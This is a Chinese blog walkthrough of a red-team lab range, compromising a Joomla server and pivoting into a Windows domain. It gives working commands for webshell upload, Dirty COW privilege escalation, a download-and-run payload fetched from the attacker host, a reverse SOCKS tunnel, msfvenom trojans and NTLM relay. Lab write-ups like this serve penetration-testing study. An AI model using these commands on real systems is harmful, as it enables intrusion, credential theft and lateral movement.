🍬 博主介绍
👨?🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
?主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】
🎉点赞?评论?收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论??一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
靶场下载地址:
https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
提取码:7mhi
web-centos一进入:
service network restart 重启网络服务
kali | web-centos | web-ubantu | pc | win 2008 | win 2012 |
---|---|---|---|---|---|
内网 | 192.168.93.100 | 192.168.93.120 | 192.168.93.30 | 192.168.93.20 | 192.168.93.10 |
192.168.43.157 | 192.168.43.57 | ||||
发现centos机器的外网IP地址是192.168.43.57
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.43.57
扫描发现开放了22、80、3306端口
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.43.57
需要输入账号密码,可以尝试弱口令,发现失败了
┌──(root💀kali)-[~/桌面]
└─# joomscan -u http://192.168.43.57
版本joomla 3.9.12,可以利用msf的payload试试
还有很多目录,都可以扫描出来
想使用msf渗透,但是没有找到模块
/configuration.php~目录下面,找到了数据库的账户密码
想到开始端口扫描的时候,开放了3306端口,所以这里mysql是目前要尝试利用的地方
$user = 'testuser'
$password = 'cvcvgjASD!@'
一般账号密码在数据库的user表中,直接检索,然后进行查找
发现这个是administrator最高用户,所以可以修改密码,然后进行登录
账号:administrator
密码:123456
也可以登录mysql,进行修改password
mysql -h 192.168.43.57 -u testuser -p
mysql> select * from am2zu_users;
update am2zu_users set password = md5("123456") where id = 891; #修改password
点击Bee3 Details and Files
写入getshell木马
木马上传的文件位置:/templates/beez3/
最终地址:
http://192.168.43.57/templates/beez3/error.php
连接蚁剑
打开终端,发现无法输入命令
查看phpinfo发现确实设置了disable_functions
payload下载:
蚁剑的插件市场里面也有:
LD_PRELOAD绕过
把这个再上传进去,上传的目录一定要记住,后面传参的时候要用到
说明这台机器,我们就已经拿下来了
ifconfig
uname -a ##查看内核版本
whoami #查看当前shell权限 www-data
id #uid=33(www-data) gid=33(www-data) groups=33(www-data)
我们可以发现,我们开始是打算渗透进入centos靶机,但是我们这里远程命令执行的命令,回显出来的信息都是ubantu的靶机的
上网查了资料才知道,原来是Centos是Ubuntu的反向代理,用的是Nginx协议
最后在/tmp/mysql目录下找到了一个账号和密码
我们前面扫描centos靶机开放了22端口,我们这里可以尝试下ssh远程连接
adduser wwwuser
passwd wwwuser_123Aqx
┌──(root💀kali)-[~/桌面]
└─# ssh wwwuser@192.168.43.57
uname -an
┌──(root💀kali)-[~/桌面]
└─# searchsploit linux 2.6.32
这里面有很多内核提权的方法,我尝试了几个,没有提权成功,我后来是用脏牛提权法
查看版本Linux内核版本信息,发现符合脏牛提权漏洞
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
在可执行目录下,一般在/tmp目录下
gcc -pthread dirty.c -o dirty -lcrypt ##编译dirty.c
./dirty 123456
id #显示用户的ID,以及所属群组的ID;uid=0,为root用户
su firefart ##密码123456
我们目前需要:通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接
kali 另外起一个msf,进行监听
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.43.157
lhost => 192.168.43.157
msf6 exploit(multi/script/web_delivery) > options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.43.157 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
7 Linux
输入run之后,会生成一个payload,然后复制在CentOS上执行
执行之后就会出现下图红框的中的内容
[firefart@localhost tmp]# wget -qO nPTCbkLP --no-check-certificate http://192.168.43.157:8080/KnZJ61asAFMH; chmod +x nPTCbkLP; ./nPTCbkLP& disown
msf6 exploit(multi/script/web_delivery) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux firefart @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) @ localhost.l... 192.168.43.157:4444 -> 192.168.43.57:50264 (192.168.43.57)
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter >
参考博客:
添加路由是为了能让msf程序进入内网,便于攻击
earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等
ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口
添加一个通向内网 192.168.93.0/24 网段的路由
route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1
使用earthworm搭建socks5反向代理
ew下载:
https://github.com/idlefire/ewhttps://github.com/idlefire/ew
kali(攻击者)
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
#将1080端口监听到的本地数据转发到 web服务器的1234端口
# 通过1080端口,将本地流量转发出去
#rcsocks、rssocks 用于反向连接
#ssocks 用于正向连接
# -l 指定本地监听的端口
# -e 指定要反弹到的机器端口
# -d 指定要反弹到机器的IP
# -f 指定要主动连接的机器 ip
# -g 指定要主动连接的机器端口
# -t 指定超时时长,默认为 1000
在CentOS上传 ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.43.157 -e 1234
#192.168.43.157 是攻击者kali的IP地址
再回到kali终端:
将socks5 服务器指向 127.0.0.1:1080
vim /etc/proxychains4.conf
这样我们就可以利用proxychains,将我们的socks5代理进去到内网中了
scanner进行扫描
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run
参考博客:
工具使用说明:
impacket-master:为了伪造smb服务器,抓取用户的密码
msf:生成一个exe木马 ,结合impacket-master的smbrelayx.py使用
通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008
大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2
因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。
首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.157 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
#192.168.43.157 是kali的IP地址
然后将木马上传到centos靶机上
Impacket下载位置:
然后进入Impacket的examples目录执行如下命令:
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 攻击信息都会反弹到192.168.93.20这台主机
但是这个靶机是没有python3的,所以要安装python3
wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install
ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip
pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket
但是我这里一直报错说没用权限,所以没有成功
执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:
nginx -s stop
执行完python3
smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
。此时,如果内网中的
有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻
击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:
安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-
NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,
会在Windows Server2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机
在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器
win8进行监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入
用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透